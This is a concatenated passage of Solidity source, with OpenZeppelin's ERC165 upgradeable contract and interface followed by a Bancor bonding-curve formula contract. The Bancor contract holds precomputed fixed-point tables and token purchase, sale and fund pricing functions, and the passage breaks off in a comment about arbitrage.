import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.0;
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
contract BancorFormula {
using SafeMathUpgradeable for uint256;
uint256 private constant ONE = 1;
uint32 private constant MAX_WEIGHT = 1000000;
uint8 private constant MIN_PRECISION = 32;
uint8 private constant MAX_PRECISION = 127;
// Auto-generated via 'PrintIntScalingFactors.py'
uint256 private constant FIXED_1 = 0x080000000000000000000000000000000;
uint256 private constant FIXED_2 = 0x100000000000000000000000000000000;
uint256 private constant MAX_NUM = 0x200000000000000000000000000000000;
// Auto-generated via 'PrintLn2ScalingFactors.py'
uint256 private constant LN2_NUMERATOR = 0x3f80fe03f80fe03f80fe03f80fe03f8;
uint256 private constant LN2_DENOMINATOR =
0x5b9de1d10bf4103d647b0955897ba80;
// Auto-generated via 'PrintFunctionOptimalLog.py' and 'PrintFunctionOptimalExp.py'
uint256 private constant OPT_LOG_MAX_VAL =
0x15bf0a8b1457695355fb8ac404e7a79e3;
uint256 private constant OPT_EXP_MAX_VAL =
0x800000000000000000000000000000000;
// Auto-generated via 'PrintLambertFactors.py'
uint256 private constant LAMBERT_CONV_RADIUS =
0x002f16ac6c59de6f8d5d6f63c1482a7c86;
uint256 private constant LAMBERT_POS2_SAMPLE =
0x0003060c183060c183060c183060c18306;
uint256 private constant LAMBERT_POS2_MAXVAL =
0x01af16ac6c59de6f8d5d6f63c1482a7c80;
uint256 private constant LAMBERT_POS3_MAXVAL =
0x6b22d43e72c326539cceeef8bb48f255ff;
// Auto-generated via 'PrintWeightFactors.py'
uint256 private constant MAX_UNF_WEIGHT =
0x10c6f7a0b5ed8d36b4c7f34938583621fafc8b0079a2834d26fa3fcc9ea9;
// Auto-generated via 'PrintMaxExpArray.py'
uint256[128] private maxExpArray;
function initMaxExpArray() private {
// maxExpArray[ 0] = 0x6bffffffffffffffffffffffffffffffff;
// maxExpArray[ 1] = 0x67ffffffffffffffffffffffffffffffff;
// maxExpArray[ 2] = 0x637fffffffffffffffffffffffffffffff;
// maxExpArray[ 3] = 0x5f6fffffffffffffffffffffffffffffff;
// maxExpArray[ 4] = 0x5b77ffffffffffffffffffffffffffffff;
// maxExpArray[ 5] = 0x57b3ffffffffffffffffffffffffffffff;
// maxExpArray[ 6] = 0x5419ffffffffffffffffffffffffffffff;
// maxExpArray[ 7] = 0x50a2ffffffffffffffffffffffffffffff;
// maxExpArray[ 8] = 0x4d517fffffffffffffffffffffffffffff;
// maxExpArray[ 9] = 0x4a233fffffffffffffffffffffffffffff;
// maxExpArray[ 10] = 0x47165fffffffffffffffffffffffffffff;
// maxExpArray[ 11] = 0x4429afffffffffffffffffffffffffffff;
// maxExpArray[ 12] = 0x415bc7ffffffffffffffffffffffffffff;
// maxExpArray[ 13] = 0x3eab73ffffffffffffffffffffffffffff;
// maxExpArray[ 14] = 0x3c1771ffffffffffffffffffffffffffff;
// maxExpArray[ 15] = 0x399e96ffffffffffffffffffffffffffff;
// maxExpArray[ 16] = 0x373fc47fffffffffffffffffffffffffff;
// maxExpArray[ 17] = 0x34f9e8ffffffffffffffffffffffffffff;
// maxExpArray[ 18] = 0x32cbfd5fffffffffffffffffffffffffff;
// maxExpArray[ 19] = 0x30b5057fffffffffffffffffffffffffff;
// maxExpArray[ 20] = 0x2eb40f9fffffffffffffffffffffffffff;
// maxExpArray[ 21] = 0x2cc8340fffffffffffffffffffffffffff;
// maxExpArray[ 22] = 0x2af09481ffffffffffffffffffffffffff;
// maxExpArray[ 23] = 0x292c5bddffffffffffffffffffffffffff;
// maxExpArray[ 24] = 0x277abdcdffffffffffffffffffffffffff;
// maxExpArray[ 25] = 0x25daf6657fffffffffffffffffffffffff;
// maxExpArray[ 26] = 0x244c49c65fffffffffffffffffffffffff;
// maxExpArray[ 27] = 0x22ce03cd5fffffffffffffffffffffffff;
// maxExpArray[ 28] = 0x215f77c047ffffffffffffffffffffffff;
// maxExpArray[ 29] = 0x1fffffffffffffffffffffffffffffffff;
// maxExpArray[ 30] = 0x1eaefdbdabffffffffffffffffffffffff;
// maxExpArray[ 31] = 0x1d6bd8b2ebffffffffffffffffffffffff;
maxExpArray[32] = 0x1c35fedd14ffffffffffffffffffffffff;
maxExpArray[33] = 0x1b0ce43b323fffffffffffffffffffffff;
maxExpArray[34] = 0x19f0028ec1ffffffffffffffffffffffff;
maxExpArray[35] = 0x18ded91f0e7fffffffffffffffffffffff;
maxExpArray[36] = 0x17d8ec7f0417ffffffffffffffffffffff;
maxExpArray[37] = 0x16ddc6556cdbffffffffffffffffffffff;
maxExpArray[38] = 0x15ecf52776a1ffffffffffffffffffffff;
maxExpArray[39] = 0x15060c256cb2ffffffffffffffffffffff;
maxExpArray[40] = 0x1428a2f98d72ffffffffffffffffffffff;
maxExpArray[41] = 0x13545598e5c23fffffffffffffffffffff;
maxExpArray[42] = 0x1288c4161ce1dfffffffffffffffffffff;
maxExpArray[43] = 0x11c592761c666fffffffffffffffffffff;
maxExpArray[44] = 0x110a688680a757ffffffffffffffffffff;
maxExpArray[45] = 0x1056f1b5bedf77ffffffffffffffffffff;
maxExpArray[46] = 0x0faadceceeff8bffffffffffffffffffff;
maxExpArray[47] = 0x0f05dc6b27edadffffffffffffffffffff;
maxExpArray[48] = 0x0e67a5a25da4107fffffffffffffffffff;
maxExpArray[49] = 0x0dcff115b14eedffffffffffffffffffff;
maxExpArray[50] = 0x0d3e7a392431239fffffffffffffffffff;
maxExpArray[51] = 0x0cb2ff529eb71e4fffffffffffffffffff;
maxExpArray[52] = 0x0c2d415c3db974afffffffffffffffffff;
maxExpArray[53] = 0x0bad03e7d883f69bffffffffffffffffff;
maxExpArray[54] = 0x0b320d03b2c343d5ffffffffffffffffff;
maxExpArray[55] = 0x0abc25204e02828dffffffffffffffffff;
maxExpArray[56] = 0x0a4b16f74ee4bb207fffffffffffffffff;
maxExpArray[57] = 0x09deaf736ac1f569ffffffffffffffffff;
maxExpArray[58] = 0x0976bd9952c7aa957fffffffffffffffff;
maxExpArray[59] = 0x09131271922eaa606fffffffffffffffff;
maxExpArray[60] = 0x08b380f3558668c46fffffffffffffffff;
maxExpArray[61] = 0x0857ddf0117efa215bffffffffffffffff;
maxExpArray[62] = 0x07ffffffffffffffffffffffffffffffff;
maxExpArray[63] = 0x07abbf6f6abb9d087fffffffffffffffff;
maxExpArray[64] = 0x075af62cbac95f7dfa7fffffffffffffff;
maxExpArray[65] = 0x070d7fb7452e187ac13fffffffffffffff;
maxExpArray[66] = 0x06c3390ecc8af379295fffffffffffffff;
maxExpArray[67] = 0x067c00a3b07ffc01fd6fffffffffffffff;
maxExpArray[68] = 0x0637b647c39cbb9d3d27ffffffffffffff;
maxExpArray[69] = 0x05f63b1fc104dbd39587ffffffffffffff;
maxExpArray[70] = 0x05b771955b36e12f7235ffffffffffffff;
maxExpArray[71] = 0x057b3d49dda84556d6f6ffffffffffffff;
maxExpArray[72] = 0x054183095b2c8ececf30ffffffffffffff;
maxExpArray[73] = 0x050a28be635ca2b888f77fffffffffffff;
maxExpArray[74] = 0x04d5156639708c9db33c3fffffffffffff;
maxExpArray[75] = 0x04a23105873875bd52dfdfffffffffffff;
maxExpArray[76] = 0x0471649d87199aa990756fffffffffffff;
maxExpArray[77] = 0x04429a21a029d4c1457cfbffffffffffff;
maxExpArray[78] = 0x0415bc6d6fb7dd71af2cb3ffffffffffff;
maxExpArray[79] = 0x03eab73b3bbfe282243ce1ffffffffffff;
maxExpArray[80] = 0x03c1771ac9fb6b4c18e229ffffffffffff;
maxExpArray[81] = 0x0399e96897690418f785257fffffffffff;
maxExpArray[82] = 0x0373fc456c53bb779bf0ea9fffffffffff;
maxExpArray[83] = 0x034f9e8e490c48e67e6ab8bfffffffffff;
maxExpArray[84] = 0x032cbfd4a7adc790560b3337ffffffffff;
maxExpArray[85] = 0x030b50570f6e5d2acca94613ffffffffff;
maxExpArray[86] = 0x02eb40f9f620fda6b56c2861ffffffffff;
maxExpArray[87] = 0x02cc8340ecb0d0f520a6af58ffffffffff;
maxExpArray[88] = 0x02af09481380a0a35cf1ba02ffffffffff;
maxExpArray[89] = 0x0292c5bdd3b92ec810287b1b3fffffffff;
maxExpArray[90] = 0x0277abdcdab07d5a77ac6d6b9fffffffff;
maxExpArray[91] = 0x025daf6654b1eaa55fd64df5efffffffff;
maxExpArray[92] = 0x0244c49c648baa98192dce88b7ffffffff;
maxExpArray[93] = 0x022ce03cd5619a311b2471268bffffffff;
maxExpArray[94] = 0x0215f77c045fbe885654a44a0fffffffff;
maxExpArray[95] = 0x01ffffffffffffffffffffffffffffffff;
maxExpArray[96] = 0x01eaefdbdaaee7421fc4d3ede5ffffffff;
maxExpArray[97] = 0x01d6bd8b2eb257df7e8ca57b09bfffffff;
maxExpArray[98] = 0x01c35fedd14b861eb0443f7f133fffffff;
maxExpArray[99] = 0x01b0ce43b322bcde4a56e8ada5afffffff;
maxExpArray[100] = 0x019f0028ec1fff007f5a195a39dfffffff;
maxExpArray[101] = 0x018ded91f0e72ee74f49b15ba527ffffff;
maxExpArray[102] = 0x017d8ec7f04136f4e5615fd41a63ffffff;
maxExpArray[103] = 0x016ddc6556cdb84bdc8d12d22e6fffffff;
maxExpArray[104] = 0x015ecf52776a1155b5bd8395814f7fffff;
maxExpArray[105] = 0x015060c256cb23b3b3cc3754cf40ffffff;
maxExpArray[106] = 0x01428a2f98d728ae223ddab715be3fffff;
maxExpArray[107] = 0x013545598e5c23276ccf0ede68034fffff;
maxExpArray[108] = 0x01288c4161ce1d6f54b7f61081194fffff;
maxExpArray[109] = 0x011c592761c666aa641d5a01a40f17ffff;
maxExpArray[110] = 0x0110a688680a7530515f3e6e6cfdcdffff;
maxExpArray[111] = 0x01056f1b5bedf75c6bcb2ce8aed428ffff;
maxExpArray[112] = 0x00faadceceeff8a0890f3875f008277fff;
maxExpArray[113] = 0x00f05dc6b27edad306388a600f6ba0bfff;
maxExpArray[114] = 0x00e67a5a25da41063de1495d5b18cdbfff;
maxExpArray[115] = 0x00dcff115b14eedde6fc3aa5353f2e4fff;
maxExpArray[116] = 0x00d3e7a3924312399f9aae2e0f868f8fff;
maxExpArray[117] = 0x00cb2ff529eb71e41582cccd5a1ee26fff;
maxExpArray[118] = 0x00c2d415c3db974ab32a51840c0b67edff;
maxExpArray[119] = 0x00bad03e7d883f69ad5b0a186184e06bff;
maxExpArray[120] = 0x00b320d03b2c343d4829abd6075f0cc5ff;
maxExpArray[121] = 0x00abc25204e02828d73c6e80bcdb1a95bf;
maxExpArray[122] = 0x00a4b16f74ee4bb2040a1ec6c15fbbf2df;
maxExpArray[123] = 0x009deaf736ac1f569deb1b5ae3f36c130f;
maxExpArray[124] = 0x00976bd9952c7aa957f5937d790ef65037;
maxExpArray[125] = 0x009131271922eaa6064b73a22d0bd4f2bf;
maxExpArray[126] = 0x008b380f3558668c46c91c49a2f8e967b9;
maxExpArray[127] = 0x00857ddf0117efa215952912839f6473e6;
}
// Auto-generated via 'PrintLambertArray.py'
uint256[128] private lambertArray;
function initLambertArray() private {
lambertArray[0] = 0x60e393c68d20b1bd09deaabc0373b9c5;
lambertArray[1] = 0x5f8f46e4854120989ed94719fb4c2011;
lambertArray[2] = 0x5e479ebb9129fb1b7e72a648f992b606;
lambertArray[3] = 0x5d0bd23fe42dfedde2e9586be12b85fe;
lambertArray[4] = 0x5bdb29ddee979308ddfca81aeeb8095a;
lambertArray[5] = 0x5ab4fd8a260d2c7e2c0d2afcf0009dad;
lambertArray[6] = 0x5998b31359a55d48724c65cf09001221;
lambertArray[7] = 0x5885bcad2b322dfc43e8860f9c018cf5;
lambertArray[8] = 0x577b97aa1fe222bb452fdf111b1f0be2;
lambertArray[9] = 0x5679cb5e3575632e5baa27e2b949f704;
lambertArray[10] = 0x557fe8241b3a31c83c732f1cdff4a1c5;
lambertArray[11] = 0x548d868026504875d6e59bbe95fc2a6b;
lambertArray[12] = 0x53a2465ce347cf34d05a867c17dd3088;
lambertArray[13] = 0x52bdce5dcd4faed59c7f5511cf8f8acc;
lambertArray[14] = 0x51dfcb453c07f8da817606e7885f7c3e;
lambertArray[15] = 0x5107ef6b0a5a2be8f8ff15590daa3cce;
lambertArray[16] = 0x5035f241d6eae0cd7bacba119993de7b;
lambertArray[17] = 0x4f698fe90d5b53d532171e1210164c66;
lambertArray[18] = 0x4ea288ca297a0e6a09a0eee240e16c85;
lambertArray[19] = 0x4de0a13fdcf5d4213fc398ba6e3becde;
lambertArray[20] = 0x4d23a145eef91fec06b06140804c4808;
lambertArray[21] = 0x4c6b5430d4c1ee5526473db4ae0f11de;
lambertArray[22] = 0x4bb7886c240562eba11f4963a53b4240;
lambertArray[23] = 0x4b080f3f1cb491d2d521e0ea4583521e;
lambertArray[24] = 0x4a5cbc96a05589cb4d86be1db3168364;
lambertArray[25] = 0x49b566d40243517658d78c33162d6ece;
lambertArray[26] = 0x4911e6a02e5507a30f947383fd9a3276;
lambertArray[27] = 0x487216c2b31be4adc41db8a8d5cc0c88;
lambertArray[28] = 0x47d5d3fc4a7a1b188cd3d788b5c5e9fc;
lambertArray[29] = 0x473cfce4871a2c40bc4f9e1c32b955d0;
lambertArray[30] = 0x46a771ca578ab878485810e285e31c67;
lambertArray[31] = 0x4615149718aed4c258c373dc676aa72d;
lambertArray[32] = 0x4585c8b3f8fe489c6e1833ca47871384;
lambertArray[33] = 0x44f972f174e41e5efb7e9d63c29ce735;
lambertArray[34] = 0x446ff970ba86d8b00beb05ecebf3c4dc;
lambertArray[35] = 0x43e9438ec88971812d6f198b5ccaad96;
lambertArray[36] = 0x436539d11ff7bea657aeddb394e809ef;
lambertArray[37] = 0x42e3c5d3e5a913401d86f66db5d81c2c;
lambertArray[38] = 0x4264d2395303070ea726cbe98df62174;
lambertArray[39] = 0x41e84a9a593bb7194c3a6349ecae4eea;
lambertArray[40] = 0x416e1b785d13eba07a08f3f18876a5ab;
lambertArray[41] = 0x40f6322ff389d423ba9dd7e7e7b7e809;
lambertArray[42] = 0x40807cec8a466880ecf4184545d240a4;
lambertArray[43] = 0x400cea9ce88a8d3ae668e8ea0d9bf07f;
lambertArray[44] = 0x3f9b6ae8772d4c55091e0ed7dfea0ac1;
lambertArray[45] = 0x3f2bee253fd84594f54bcaafac383a13;
lambertArray[46] = 0x3ebe654e95208bb9210c575c081c5958;
lambertArray[47] = 0x3e52c1fc5665635b78ce1f05ad53c086;
lambertArray[48] = 0x3de8f65ac388101ddf718a6f5c1eff65;
lambertArray[49] = 0x3d80f522d59bd0b328ca012df4cd2d49;
lambertArray[50] = 0x3d1ab193129ea72b23648a161163a85a;
lambertArray[51] = 0x3cb61f68d32576c135b95cfb53f76d75;
lambertArray[52] = 0x3c5332d9f1aae851a3619e77e4cc8473;
lambertArray[53] = 0x3bf1e08edbe2aa109e1525f65759ef73;
lambertArray[54] = 0x3b921d9cff13fa2c197746a3dfc4918f;
lambertArray[55] = 0x3b33df818910bfc1a5aefb8f63ae2ac4;
lambertArray[56] = 0x3ad71c1c77e34fa32a9f184967eccbf6;
lambertArray[57] = 0x3a7bc9abf2c5bb53e2f7384a8a16521a;
lambertArray[58] = 0x3a21dec7e76369783a68a0c6385a1c57;
lambertArray[59] = 0x39c9525de6c9cdf7c1c157ca4a7a6ee3;
lambertArray[60] = 0x39721bad3dc85d1240ff0190e0adaac3;
lambertArray[61] = 0x391c324344d3248f0469eb28dd3d77e0;
lambertArray[62] = 0x38c78df7e3c796279fb4ff84394ab3da;
lambertArray[63] = 0x387426ea4638ae9aae08049d3554c20a;
lambertArray[64] = 0x3821f57dbd2763256c1a99bbd2051378;
lambertArray[65] = 0x37d0f256cb46a8c92ff62fbbef289698;
lambertArray[66] = 0x37811658591ffc7abdd1feaf3cef9b73;
lambertArray[67] = 0x37325aa10e9e82f7df0f380f7997154b;
lambertArray[68] = 0x36e4b888cfb408d873b9a80d439311c6;
lambertArray[69] = 0x3698299e59f4bb9de645fc9b08c64cca;
lambertArray[70] = 0x364ca7a5012cb603023b57dd3ebfd50d;
lambertArray[71] = 0x36022c928915b778ab1b06aaee7e61d4;
lambertArray[72] = 0x35b8b28d1a73dc27500ffe35559cc028;
lambertArray[73] = 0x357033e951fe250ec5eb4e60955132d7;
lambertArray[74] = 0x3528ab2867934e3a21b5412e4c4f8881;
lambertArray[75] = 0x34e212f66c55057f9676c80094a61d59;
lambertArray[76] = 0x349c66289e5b3c4b540c24f42fa4b9bb;
lambertArray[77] = 0x34579fbbd0c733a9c8d6af6b0f7d00f7;
lambertArray[78] = 0x3413bad2e712288b924b5882b5b369bf;
lambertArray[79] = 0x33d0b2b56286510ef730e213f71f12e9;
lambertArray[80] = 0x338e82ce00e2496262c64457535ba1a1;
lambertArray[81] = 0x334d26a96b373bb7c2f8ea1827f27a92;
lambertArray[82] = 0x330c99f4f4211469e00b3e18c31475ea;
lambertArray[83] = 0x32ccd87d6486094999c7d5e6f33237d8;
lambertArray[84] = 0x328dde2dd617b6665a2e8556f250c1af;
lambertArray[85] = 0x324fa70e9adc270f8262755af5a99af9;
lambertArray[86] = 0x32122f443110611ca51040f41fa6e1e3;
lambertArray[87] = 0x31d5730e42c0831482f0f1485c4263d8;
lambertArray[88] = 0x31996ec6b07b4a83421b5ebc4ab4e1f1;
lambertArray[89] = 0x315e1ee0a68ff46bb43ec2b85032e876;
lambertArray[90] = 0x31237fe7bc4deacf6775b9efa1a145f8;
lambertArray[91] = 0x30e98e7f1cc5a356e44627a6972ea2ff;
lambertArray[92] = 0x30b04760b8917ec74205a3002650ec05;
lambertArray[93] = 0x3077a75c803468e9132ce0cf3224241d;
lambertArray[94] = 0x303fab57a6a275c36f19cda9bace667a;
lambertArray[95] = 0x3008504beb8dcbd2cf3bc1f6d5a064f0;
lambertArray[96] = 0x2fd19346ed17dac61219ce0c2c5ac4b0;
lambertArray[97] = 0x2f9b7169808c324b5852fd3d54ba9714;
lambertArray[98] = 0x2f65e7e711cf4b064eea9c08cbdad574;
lambertArray[99] = 0x2f30f405093042ddff8a251b6bf6d103;
lambertArray[100] = 0x2efc931a3750f2e8bfe323edfe037574;
lambertArray[101] = 0x2ec8c28e46dbe56d98685278339400cb;
lambertArray[102] = 0x2e957fd933c3926d8a599b602379b851;
lambertArray[103] = 0x2e62c882c7c9ed4473412702f08ba0e5;
lambertArray[104] = 0x2e309a221c12ba361e3ed695167feee2;
lambertArray[105] = 0x2dfef25d1f865ae18dd07cfea4bcea10;
lambertArray[106] = 0x2dcdcee821cdc80decc02c44344aeb31;
lambertArray[107] = 0x2d9d2d8562b34944d0b201bb87260c83;
lambertArray[108] = 0x2d6d0c04a5b62a2c42636308669b729a;
lambertArray[109] = 0x2d3d6842c9a235517fc5a0332691528f;
lambertArray[110] = 0x2d0e402963fe1ea2834abc408c437c10;
lambertArray[111] = 0x2cdf91ae602647908aff975e4d6a2a8c;
lambertArray[112] = 0x2cb15ad3a1eb65f6d74a75da09a1b6c5;
lambertArray[113] = 0x2c8399a6ab8e9774d6fcff373d210727;
lambertArray[114] = 0x2c564c4046f64edba6883ca06bbc4535;
lambertArray[115] = 0x2c2970c431f952641e05cb493e23eed3;
lambertArray[116] = 0x2bfd0560cd9eb14563bc7c0732856c18;
lambertArray[117] = 0x2bd1084ed0332f7ff4150f9d0ef41a2c;
lambertArray[118] = 0x2ba577d0fa1628b76d040b12a82492fb;
lambertArray[119] = 0x2b7a5233cd21581e855e89dc2f1e8a92;
lambertArray[120] = 0x2b4f95cd46904d05d72bdcde337d9cc7;
lambertArray[121] = 0x2b2540fc9b4d9abba3faca6691914675;
lambertArray[122] = 0x2afb5229f68d0830d8be8adb0a0db70f;
lambertArray[123] = 0x2ad1c7c63a9b294c5bc73a3ba3ab7a2b;
lambertArray[124] = 0x2aa8a04ac3cbe1ee1c9c86361465dbb8;
lambertArray[125] = 0x2a7fda392d725a44a2c8aeb9ab35430d;
lambertArray[126] = 0x2a57741b18cde618717792b4faa216db;
lambertArray[127] = 0x2a2f6c81f5d84dd950a35626d6d5503a;
}
/**
* @dev should be executed after construction (too large for the constructor)
*/
function init() public {
initMaxExpArray();
initLambertArray();
}
/**
* @dev given a token supply, reserve balance, weight and a deposit amount (in the reserve token),
* calculates the target amount for a given conversion (in the main token)
*
* Formula:
* return = _supply * ((1 + _amount / _reserveBalance) ^ (_reserveWeight / 1000000) - 1)
*
* @param _supply liquid token supply
* @param _reserveBalance reserve balance
* @param _reserveWeight reserve weight, represented in ppm (1-1000000)
* @param _amount amount of reserve tokens to get the target amount for
*
* @return target
*/
function purchaseTargetAmount(
uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveWeight,
uint256 _amount
) public view returns (uint256) {
// validate input
require(_supply > 0, "ERR_INVALID_SUPPLY");
require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
require(
_reserveWeight > 0 && _reserveWeight <= MAX_WEIGHT,
"ERR_INVALID_RESERVE_WEIGHT"
);
// special case for 0 deposit amount
if (_amount == 0) return 0;
// special case if the weight = 100%
if (_reserveWeight == MAX_WEIGHT)
return _supply.mul(_amount) / _reserveBalance;
uint256 result;
uint8 precision;
uint256 baseN = _amount.add(_reserveBalance);
(result, precision) = power(
baseN,
_reserveBalance,
_reserveWeight,
MAX_WEIGHT
);
uint256 temp = _supply.mul(result) >> precision;
return temp - _supply;
}
/**
* @dev given a token supply, reserve balance, weight and a sell amount (in the main token),
* calculates the target amount for a given conversion (in the reserve token)
*
* Formula:
* return = _reserveBalance * (1 - (1 - _amount / _supply) ^ (1000000 / _reserveWeight))
*
* @param _supply liquid token supply
* @param _reserveBalance reserve balance
* @param _reserveWeight reserve weight, represented in ppm (1-1000000)
* @param _amount amount of liquid tokens to get the target amount for
*
* @return reserve token amount
*/
function saleTargetAmount(
uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveWeight,
uint256 _amount
) public view returns (uint256) {
// validate input
require(_supply > 0, "ERR_INVALID_SUPPLY");
require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
require(
_reserveWeight > 0 && _reserveWeight <= MAX_WEIGHT,
"ERR_INVALID_RESERVE_WEIGHT"
);
require(_amount <= _supply, "ERR_INVALID_AMOUNT");
// special case for 0 sell amount
if (_amount == 0) return 0;
// special case for selling the entire supply
if (_amount == _supply) return _reserveBalance;
// special case if the weight = 100%
if (_reserveWeight == MAX_WEIGHT)
return _reserveBalance.mul(_amount) / _supply;
uint256 result;
uint8 precision;
uint256 baseD = _supply - _amount;
(result, precision) = power(_supply, baseD, MAX_WEIGHT, _reserveWeight);
uint256 temp1 = _reserveBalance.mul(result);
uint256 temp2 = _reserveBalance << precision;
return (temp1 - temp2) / result;
}
/**
* @dev given two reserve balances/weights and a sell amount (in the first reserve token),
* calculates the target amount for a conversion from the source reserve token to the target reserve token
*
* Formula:
* return = _targetReserveBalance * (1 - (_sourceReserveBalance / (_sourceReserveBalance + _amount)) ^ (_sourceReserveWeight / _targetReserveWeight))
*
* @param _sourceReserveBalance source reserve balance
* @param _sourceReserveWeight source reserve weight, represented in ppm (1-1000000)
* @param _targetReserveBalance target reserve balance
* @param _targetReserveWeight target reserve weight, represented in ppm (1-1000000)
* @param _amount source reserve amount
*
* @return target reserve amount
*/
function crossReserveTargetAmount(
uint256 _sourceReserveBalance,
uint32 _sourceReserveWeight,
uint256 _targetReserveBalance,
uint32 _targetReserveWeight,
uint256 _amount
) public view returns (uint256) {
// validate input
require(
_sourceReserveBalance > 0 && _targetReserveBalance > 0,
"ERR_INVALID_RESERVE_BALANCE"
);
require(
_sourceReserveWeight > 0 &&
_sourceReserveWeight <= MAX_WEIGHT &&
_targetReserveWeight > 0 &&
_targetReserveWeight <= MAX_WEIGHT,
"ERR_INVALID_RESERVE_WEIGHT"
);
// special case for equal weights
if (_sourceReserveWeight == _targetReserveWeight)
return
_targetReserveBalance.mul(_amount) /
_sourceReserveBalance.add(_amount);
uint256 result;
uint8 precision;
uint256 baseN = _sourceReserveBalance.add(_amount);
(result, precision) = power(
baseN,
_sourceReserveBalance,
_sourceReserveWeight,
_targetReserveWeight
);
uint256 temp1 = _targetReserveBalance.mul(result);
uint256 temp2 = _targetReserveBalance << precision;
return (temp1 - temp2) / result;
}
/**
* @dev given a pool token supply, reserve balance, reserve ratio and an amount of requested pool tokens,
* calculates the amount of reserve tokens required for purchasing the given amount of pool tokens
*
* Formula:
* return = _reserveBalance * (((_supply + _amount) / _supply) ^ (MAX_WEIGHT / _reserveRatio) - 1)
*
* @param _supply pool token supply
* @param _reserveBalance reserve balance
* @param _reserveRatio reserve ratio, represented in ppm (2-2000000)
* @param _amount requested amount of pool tokens
*
* @return reserve token amount
*/
function fundCost(
uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveRatio,
uint256 _amount
) public view returns (uint256) {
// validate input
require(_supply > 0, "ERR_INVALID_SUPPLY");
require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
require(
_reserveRatio > 1 && _reserveRatio <= MAX_WEIGHT * 2,
"ERR_INVALID_RESERVE_RATIO"
);
// special case for 0 amount
if (_amount == 0) return 0;
// special case if the reserve ratio = 100%
if (_reserveRatio == MAX_WEIGHT)
return (_amount.mul(_reserveBalance) - 1) / _supply + 1;
uint256 result;
uint8 precision;
uint256 baseN = _supply.add(_amount);
(result, precision) = power(baseN, _supply, MAX_WEIGHT, _reserveRatio);
uint256 temp = ((_reserveBalance.mul(result) - 1) >> precision) + 1;
return temp - _reserveBalance;
}
/**
* @dev given a pool token supply, reserve balance, reserve ratio and an amount of reserve tokens to fund with,
* calculates the amount of pool tokens received for purchasing with the given amount of reserve tokens
*
* Formula:
* return = _supply * ((_amount / _reserveBalance + 1) ^ (_reserveRatio / MAX_WEIGHT) - 1)
*
* @param _supply pool token supply
* @param _reserveBalance reserve balance
* @param _reserveRatio reserve ratio, represented in ppm (2-2000000)
* @param _amount amount of reserve tokens to fund with
*
* @return pool token amount
*/
function fundSupplyAmount(
uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveRatio,
uint256 _amount
) public view returns (uint256) {
// validate input
require(_supply > 0, "ERR_INVALID_SUPPLY");
require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
require(
_reserveRatio > 1 && _reserveRatio <= MAX_WEIGHT * 2,
"ERR_INVALID_RESERVE_RATIO"
);
// special case for 0 amount
if (_amount == 0) return 0;
// special case if the reserve ratio = 100%
if (_reserveRatio == MAX_WEIGHT)
return _amount.mul(_supply) / _reserveBalance;
uint256 result;
uint8 precision;
uint256 baseN = _reserveBalance.add(_amount);
(result, precision) = power(
baseN,
_reserveBalance,
_reserveRatio,
MAX_WEIGHT
);
uint256 temp = _supply.mul(result) >> precision;
return temp - _supply;
}
/**
* @dev given a pool token supply, reserve balance, reserve ratio and an amount of pool tokens to liquidate,
* calculates the amount of reserve tokens received for selling the given amount of pool tokens
*
* Formula:
* return = _reserveBalance * (1 - ((_supply - _amount) / _supply) ^ (MAX_WEIGHT / _reserveRatio))
*
* @param _supply pool token supply
* @param _reserveBalance reserve balance
* @param _reserveRatio reserve ratio, represented in ppm (2-2000000)
* @param _amount amount of pool tokens to liquidate
*
* @return reserve token amount
*/
function liquidateReserveAmount(
uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveRatio,
uint256 _amount
) public view returns (uint256) {
// validate input
require(_supply > 0, "ERR_INVALID_SUPPLY");
require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
require(
_reserveRatio > 1 && _reserveRatio <= MAX_WEIGHT * 2,
"ERR_INVALID_RESERVE_RATIO"
);
require(_amount <= _supply, "ERR_INVALID_AMOUNT");
// special case for 0 amount
if (_amount == 0) return 0;
// special case for liquidating the entire supply
if (_amount == _supply) return _reserveBalance;
// special case if the reserve ratio = 100%
if (_reserveRatio == MAX_WEIGHT)
return _amount.mul(_reserveBalance) / _supply;
uint256 result;
uint8 precision;
uint256 baseD = _supply - _amount;
(result, precision) = power(_supply, baseD, MAX_WEIGHT, _reserveRatio);
uint256 temp1 = _reserveBalance.mul(result);
uint256 temp2 = _reserveBalance << precision;
return (temp1 - temp2) / result;
}
/**
* @dev The arbitrage incentive is to convert to the point where the on-chain price is equal to the off-chain price.
* We want this operation to also impact the primary reserve balance becoming equal to the primary reserve staked balance.
